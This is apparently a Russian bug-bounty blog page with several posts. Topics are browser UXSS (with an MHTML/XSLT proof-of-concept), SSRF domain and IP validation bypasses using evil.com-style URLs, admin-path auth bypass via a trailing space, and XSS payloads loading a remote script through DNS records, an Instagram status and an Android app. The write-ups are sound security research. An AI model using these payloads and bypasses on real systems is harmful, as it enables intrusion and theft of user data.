Комикс о UXSS в Safari и Chrome

By | Blog | 3 комментария

Привет! Помимо уязвимостей клиентской части веб-приложений опасность представляют и само клиентское ПО. Нет, речь даже не о java или flash, а о самих браузерах.

Хочу показать тебе примеры двух браузеров-конкурентов с уязвимостью UXSS (Universal Cross-site Scripting), один из которых с закрытым исходным кодом, а другой с открытым. UXSS — это ошибка в логике работы браузера, благодаря которой злоумышленник может выполнить javascript сценарий в рамках произвольного сайта. Грубо говоря — сделать XSS там, где ее нет.

 

Safari

Что я могу сказать хорошего о Safari? Это простой и легковесный браузер, в котором нет ничего лишнего. Это правда самый быстрый браузер который мне довелось использовать. Что плохого? Ну… Он странный.

Возможно, ты уже читал мою статью о чтении локальных файлов с помощью браузера. Если коротко — открыв следующий html файл в Safari он прочитает локальные файлы и попытается слить личные документы, в рамках PoC — на свою же локальную машину (в консоли разработчика ты увидишь ошибки).

А еще функции в консоли выполняются в момент ее написания, жуть!

 

А вот что ты слышал о псевдорасширении parent-tab://? Да ничего, лишь пара упоминаний. Однако в Safari он присутствует.

Примечательно, что до 11 версии (уже) parent-tab имеет все те же привилегии для доступа к объектам домена, например к cookie.

А еще круче — в него можно писать. Вот создаешь локальный html, пишешь <iframe> с parent-tab и js’ом записываешь произвольное содержимое! Так рождается первый эксплойт, где в parent-tab.html — редирект на parent-tab://+domain

Однако, его нельзя вызвать с другого сайта, что немного огорчает. Локальные эксплойты не так весело (ну чтение файлов веселее).

Тут на помощь пришел Frans Rosén, который выяснил, что записать свою полезную нагрузку можно также с помощью window.open с аргументом _top. Вжух — и мы получаем доступ к данным сайта.

Но оказалось, эта бага в WebKit, поэтому, возможно, применима и к Chrome. Примеры эксплойта на CVE-2017-7089 ждет тебя на github.

Chrome

Хром более защищенный браузер. Наверное. Все таки это браузер с открытым исходным кодом. Между тем, несмотря на современность — в нем до сих пор поддерживаются старые вещи, например поддержка древнегреческого формата MHTML (MIME-HTML).

Что из себя представляет данный формат? Это текстовый документ, в котором прописан заголовок, тип контента (Content-Type: multipart/related) и разделитель контента (boundary). Да-да, multipart в файле. Дальше следуют дополнительные параметры, типа кодировки (может быть base64).

Ну проще один раз увидеть.

Так вот, к файлу можно написать атрибут Content-location, а потом обратиться к нему в самом html.

Например, пишем Content-location: /abc, содержимое файла. И вызываем <img src=/abc>. А можно написать Content-location: https://example.com/abc, и загрузить <img src=https://example.com/abc>

Если это изображение — то оно появится на странице при попытке открыть данный файл.

Все бы ничего, но javascript в нем запрещен. Вообще.

Но и тут находится одно «но».  Везде, кроме XSLT.

Объявляем content-type: application/xml, вставляем XSLT, получаем alert():

MIME-Version: 1.0
Content-Type: multipart/related;
type="text/html";
boundary="----MultipartBoundary--"
------MultipartBoundary--
Content-Type: application/xml;
<?xml version="1.0" encoding="UTF-8"?>
<?xml-stylesheet type="text/xml" href="#stylesheet"?>
<!DOCTYPE catalog [
<!ATTLIST xsl:stylesheet
id ID #REQUIRED>
]>
<xsl:stylesheet id="stylesheet" xmlns:xsl="http://www.w3.org/1999/XSL/Transform">
<xsl:template match="*">
<html><script>alert()</script></html>
</xsl:template>
</xsl:stylesheet>
------MultipartBoundary----

Ну и как ты уже догадался, в таком документе мы можем написать Content-location: https://example.com и вызвать javascript оттуда, обойдя песочницу вопреки всем законам SOP. Добавляем к предыдущему файлу следующий файл и вместо alert вызываем его в фрейме.

------MultipartBoundary--
Content-Type: text/html
Content-Location: https://google.com
<script>alert('Location origin: '+location.origin)</script>

Для открытия MHTML нужно вернуть в ответе от сервера тип контента multipart/related, в итоге построится следующее DOM-дерево:

В хроме внесен соответствующий патч (благодаря которой был найден эксплойт). Плюсы — открытый исходный код позволяет наблюдать за всеми внесенными изменениями. Минусы точно такие же.

Демонстрация эксплойта по следующей ссылке (Chrome < 62), исходники CVE-2017-5124 на github.

Вывод

Какой-такой вывод? Ну будь аккуратнее, обновляй ПО для минимизации рисков, но ты это слышал уже тысячу раз. Что-то нового я тебе сказать не могу 🙂

Способы обхода проверки домена и IP адреса

By | Blog | 3 комментария

И снова здравствуй!

Допустим, существует приложение, которое возвращает тело страницы, если ему отправить домен или IP адрес. Но наша цель — отправить пакет на адрес внутренней инфраструктуры и проэксплуатировать такую атаку, как SSRF.

Некорректная логика работы проверки адреса

Проверка вхождения строки

Порой, обход проверки домена бывает совсем простым. Если приложение ожидает, что будет указан адрес сайта — vulnsite.com, то иногда достаточно указать его в поддомене. Вот попробуй указать vulnsite.com.evil.com — и если веб-приложение проверяет вхождение строки в домене — мы проходим эту проверку.

Ошибка в регулярном выражении

Другой способ чуть посложнее, но также встречался на реальных проектах — это проверка домена по регулярному выражению. Однако, все мы люди, а людям свойственно ошибаться. И были такие случаи, когда происходит проверка, что домен соответствует регулярному выражению, допустим

(.*)mail.vulnsite.com$

А что тут не так? А то, что точка в регулярном выражении — это любой символ, поэтому отправив ссылку на mail-vulnsite.com (который можно зарегистрировать) — проверка будет пройдена.

Отсутствие проверки перенаправления

Другие способы — это перенаправление, когда указанная ссылка перенаправляет на внутренний адрес (обычный 302 редирект). Проверку, что домен принадлежит внутренней сети — прошли, но и редирект обработали. Забавно, что редирект может быть и на file:///etc/passwd 🙂

Отсутствие проверки адреса во время запроса

Другая ошибка логики — это разделение проверки на соответствие внешнему адресу и на непосредственно сам запрос.

Приложение делает резолв доменного имени и убеждается, что ip адрес evil.com не принадлежит адресу внутренней инфраструктуры.

Потом происходит сам запрос, и утилита (или библиотека) берет адрес не из кэша, а заново получает IP адрес домена.

Для эксплуатации уязвимости необходимо настроить свой DNS сервер таким образом, что на первый запрос DNS вернул внешний IP адрес, а на последующие — внутренний.

«Отрезание» части домена

В ссылке может быть передан логин и пароль (до символа @), данные которого в HTTP-запросе уйдут в заголовок, такая ссылка имеет подобный вид:

http://google.com:80@evil.com

Для некоторых механизмов проверки — доменное имя будет соответствовать google.com, а по факту — домену, указанному через символ «@».

Некоторые символы позволяют «отрезать» хвост у домена, и если парсер пропускает их:

  • Символ решетки (hash — #).

http://evil.com#vulnsite.com

Символ используется для hash-навигации или передачи информации без участия сервера. Открыв эту ссылку в браузере, браузер отправит GET запрос только на evil.com, а обработка информации после символа происходит на стороне клиента.

  • Знак вопроса (?)

http://evil.com?vulnsite.com

Аналогичная ситуация, только строка после знака вопроса уйдет в параметр, точно так же, если открыть страницу evil.com/?vulnsite.com

  • Нулевой байт (%00)

http://evil.com%00vulnsite.com

По большей части это касается сайтов на PHP, ибо работал он с nullbyte не всегда хорошо.

  • Отдельно стоит отметить символ 💩 (U+1F4A9)

http://evil.com💩vulnsite.com

Веселый emoji «PILE OF POO» — альтернатива nullbyte для таких СУБД как MySQL с кодировкой utf8. И эта уязвимость встречается на многих проектах.

Варианты представления IP адреса

IP адрес может быть представлен различными способами. Думаю, удобнее показывать на живом сайте, а не на локальном. Берем IP адрес google.com — у меня это — 173.194.44.70.

Если мы сделаем urlencode — ссылка будет оставаться валидной:

http://%31%37%33%2E%31%39%34%2E%34%34%2E%37%30

Это применимо и к обычным доменным именам.

Каждое число в IP адресе можно представить в восьмеричной или шестнадцатеричной системах счисления:

http://0xad.0xc2.0x2c.0x46

http://0255.0302.0054.0106

Более того, эти варианты можно смешивать:

http://173.0302.0x2c.70

http://0xad.0302.0x2c.0106

Не забываем про целочисленное представление IP адреса — Long IP, например, можно воспользоваться этим сервисом. В результате мы можем получить такую ссылку:

http://2915183686

Аналогично, Long IP можно представить в восьмеричной и шестнадцатеричной системах счисления:

http://025560426106

http://0xADC22C46

Помимо этого, внутренний адрес, такой как localhost (127.0.0.1) может быть представлен как 0.0.0.0, что является исходным адресом для этого хоста в сети.

Еще один забавный лайфхак — символы нуля можно опускать.

Таким образом, появляются еще варианты:

  • 0
  • 0.0
  • 0.0.0

Это же правило применимо для других ip адресов:

  • 127.1
  • 127.0.1

А теперь применяя предыдущие методы, тот же 0x7f.0.0×01 — точно такой же адрес, как и 127.0.0.1 (попробуй пингануть, например, 0x7f.1).

Точка, точка, запятая

А закончу материал примером, который произошел совсем недавно. Все началось с того, что я увидел @_Abr1k0s_ в ленте твиттера:

 

О, так у PortSwigger есть багбаунти? Я в последнее время отстал от bb-движухи, но было интересно посмотреть, что у них находится на периметре. Пара минут — и был найден поддомен surveys.portswigger.net, который ведет на surveygizmo.com

dig surveys.portswigger.net

Как оказалось, это популярный сервис, а пользуются им многие. После регистрации в приложении я создал свою форму и попытался добавить домен PortSwigger. Естественно вылезла ошибка — «This domain name is already in use», однако, тут я вспомнил об одной фиче с доменами.

Существует такая штука, как домен нулевого уровня. В конце домена должна стоять точка, но она упускается.

Например, сайт википедии нормально работает с точкой

https://en.wikipedia.org./wiki/Main_Page

https://en.wikipedia.org/wiki/Main_Page

но как будет вести себя логика приложения — еще непонятно.

В зависимости от настроек сервера — сайт может реагировать по-разному. Кто-то будет показывать 404, кто-то invalid hostname, кто-то bad request. Но в любом случае, браузеры считают такой запрос вполне валидным.

И как ты уже догадался, я добавил домен surveys.portswigger.net. в личный кабинет. А так как сервис достаточно популярен, нашел еще десяток-другой компаний, который попали ко мне в кабинет:

surveys

В настройках была создана собственная форма с директорией /s3/, с дальнейшим редиректом.

В итоге домены имели такой вид

surveys.portswigger.net — неконтролируемый мной

surveys.portswigger.net./s3/ — домен, которым могу управлять, вел на мой контент

Ну и аналогичный конфиг на сайты microsoft, jetbrains, и ряде других.

Так как настоящий хозяин домена уже прикрепил домен к сервису, мы можем свободно использовать его домен, но уже с точкой. Если мы можем управлять контентом — можем эксплуатировать такие штуки как фиксация сессии, да и раздолье для строительства фейков.

Что имеем?

Мы можем представить ссылку на ресурс огромным количеством способов и различными вариантами обойти проверку на легитимность отправляемого домена/ip адреса. Возможно, есть еще какие-то способы, о которых я вовсе забыл или не знал, поэтому место для комментариев под статьей 🙂

Когда символ пробела — атака

By | Blog | 5 комментариев
Ты не пройдешь

Привет!

Сервера могут по-разному воспринимать присланную пользователем информацию. Общепринято, что %20 или знак + в параметрах принимается за пробел. Запрос на директорию /folder/test/%2e%2e/page — нормализуется до /folder/page, ибо %2e — точка в urlencode. Например, знаменитый (в узких кругах) open redirect работает за счет некорректной нормализации запроса.

Но я тебе расскажу о том, как пробел становится атакой.

Уязвимость в Xbox

В качестве вступления — забавная бага, не моё, но в тему. Пацану 5 лет и он понял, что если ввести пробел вместо пароля — он попадет в аккаунт отца. Как это работало я до сих пор смутно представляю, но вот тебе ссылка ознакомиться поближе.

— А причём тут ты?

А я просто мимо проходил, и оказывается, находился на одной стене почёта с этим мальчиком, и даже попал на TV:

Видел?

Как нет?

Ну ты чего, смотри внимательнее!

Вот же:

Правда всего на треть секунды, быстрым перематыванием страницы. Ну да ладно 😀

Уязвимость на поддомене Yandex

Было замечено, что в стандартной ситуации, один из поддоменов яндекса при обращении к директории /admin/ просит логин и пароль:

http://sqtest.yandex.net/admin/ — 401

Однако, если добавить после admin знак пробела, то в админку пускало.

http://sqtest.yandex.net/admin%20/ — 200

Внутренние ссылки заново просили логин и пароль, однако, подменив вхождение строки «/admin/» в ответе сервера на»/admin%20/», админкой можно было пользоваться. К сожалению, скриншотов у меня не осталось, так что придется поверить мне наслово. Уязвимость давно сдана, деньги получены и потрачены, остались лишь воспоминания.

Уязвимость в Bitbucket Server

Шло время, уязвимость в рамках bugbounty я уже давно забыл, но после очередного брута директорий нарвался на странную аномалию, где опять же, директория /admin с пробелом на конце вернула статус 200, в то время как должен быть редирект на /login

Взглянув на домен, я понял, что там находится bitbucket server, да и версия вроде не древняя. Открыв руками — был удивлён, и правда открывается админка, правда без многих ссылок.

Дальше изучив bitbucket server на локальной машине, опытным путем понял, что сервер отдает содержимое страниц для следующих ссылок:

/admin%20/mail-server
/admin%20/db
/admin%20/db/edit
/admin%20/license
/admin%20/logging
/admin%20/server-settings
/admin%20/authentication
/admin%20/avatars

Выглядит забавно, правда?

Уязвимость позволяет увидеть лишь некоторые директории, например, директория /admin/users/ — недоступна. Также, вместо пробела могут быть символы x01-x20.

Помимо директорий выше — видны установленные плагины, которые тоже могут иметь свои уязвимости.

Бага была исправлена и работает на Bitbucket Server < 4.8. Bitbucket разрабатывает команда atlassian, в свою очередь они делают такие продукты как jira, confluence, hipchat, и может ты, %username%, попробуй изучить подробнее, вдруг я что-то пропустил. И возможно, уязвимость будет в других продуктах компании.

UPD: А тем временем Алексей Писаренко попал в админку одного из сайтов студии Лебедева. А казалось бы — пробел…

Приключения xss векторов в необычных местах

By | Blog | 3 комментария

Привет! Хочу рассказать о нескольких случаях, когда ресурсы сами собирали данные, но некорректно их обрабатывали. Причём в некоторых случаях, данные представлены в безопасном виде, но за счет парсинга и дальнейшей обработки когда-то безопасная строка превращается в атакующий вектор. На серьезность статьи не претендую, все забавы ради, как в старые — добрые времена 🙂

XSS и DNS

Если загуглить XSS via DNS, то ты найдешь несколько статей на эту тему, когда в качестве TXT записи  отдается атакующий вектор.
Но создать TXT запись можно в любой хостинг-панели и XSS там висит с времен создания блога 🙂
А почему никто не вспомнил про другие виды записей, скажем, CNAME или NS? Но для того, чтобы вернуть в качестве доменов атакующие вектора, можно создать собственный NS-сервер.
Отличным решением было использование dnschef. Я взял поддомен hack.bo0om.ru (можно было любой свой домен), в качестве name server’а указал собственный ip. Всё.

Теперь мы рулим настройками, которые в dnschef.ini, поэтому пишем туда:

[MX]
*.xss.hack.bo0om.ru="-->'><script/src=//bo0om.ru/xss.js>
[NS]
*.xss.hack.bo0om.ru="-->'><script/src=//bo0om.ru/xss.js>
[CNAME]
*.xss.hack.bo0om.ru="-->'><script/src=//bo0om.ru/xss.js>

Теперь, если ресурс берет данные из DNS и помещает на страницу — есть вероятность, что про фильтрацию пользовательских данных он забыл.

Примеры, где работает XSS:

XSS и Instagram

Забавы ради я как-то добавил XSS в статус инстаграма. Ничего в этом такого нет, но стоит заметить, что сам вектор атаки был безопасен (на странице instagram).

Но по логам — начали срабатывать XSS’ки на различных доменах, это были парсеры соцсети и какие-то аналитические сервисы. Вот пример доменов:

  • findgram.me
  • imgrab.com
  • instagy.com
  • iconosquare.com
  • tofo.me
  • photo.sh
  • gramosphere.com

Часть из них баги уже исправили, но то что было в логах — пусть будет тут 🙂

XSS и Google Play

Недавно постучал @Black2Fan и спрашивает, а есть ли у меня android приложение с XSS в Google Play :D?

А что, можно было? А давай сделаем! Где-нибудь да и стрельнет (а вдруг где-то у googl’а).

Итак, был сгенерирован сертификат, подписывающий приложение, только вместо имени разработчика и прочих данных — XSS

Были разложены файлы с «заначками», и файлы, путь из которых формирует валидный тег, подгружающий скрипт с моего домена.
Напомню, что в именах файлов можно использовать спецсимволы (в linux), кому интересно — гляньте папку assets.

Но вот беда, чтобы внедрить свой скрипт в имя, нужно домен покороче, ибо ограничение в 30 символов. Под рукой короткого домена, естественно, небыло. Если все одно-двусимвольные домены уже зарегистрированны — еще не все потеряно. В современных интернетах уже давно используются punycode, и регистрировать такие домены можно, и в настоящий момент заняты не все смайлики 🙂

Например, последовательность xn--g3h дает . Вот я и зарегистрировал домен — .ws (4 символа включая точку).

Приложение пока доступно ТУТ, но в любой момент его могут удалить 🙂

В первую очередь отстук пришёл с парсеров приложений, больше всего трафика с данных доменов:

  • apkpure.com
  • allfreeapk.com
  • appbrain.com
  • appszoom.com
  • downloadatoz.com

Помимо этого, всякие сканеры приложений, декомпиляторы apk, ну и всякое по мелочи.

Один из примеров — HackApp, который ищет уязвимости в мобильных приложениях. Тем временем, приложение нашло уязвимость в нём 🙂

Но самое забавное — после того, как приложение было отправлено на virustotal, XSS сработали в панелях антивирусных компаний.

  1. Поддомен Qihoo 360 — создатели антивируса 360 Total Security
  2. Поддомен Antiy Labs — создатели антивируса AVL (красивая панелька, интеграция с Jira)

Обе панели на PHP, и обе компании из Китая, большая часть данных экранируется, но где-то да и проскочет вектор, который отправил «снимок экрана» мне на сервер. Не bugbounty, но все же забавно.

Еще одно замечание, в зависимости от перевода — в описание приложения проходит тег , попробуй что-нибудь с этим сделать, а вдруг

Вместо заключения

Нужно больше золота забавных исследований. XSS-ки всегда будут актуальны, тем более это легко. Может ты знаешь ещё забавные места и вектора, кидай ссылки, если некуда писать — пиши на telegra.ph (с картинками) и кинь в комменты.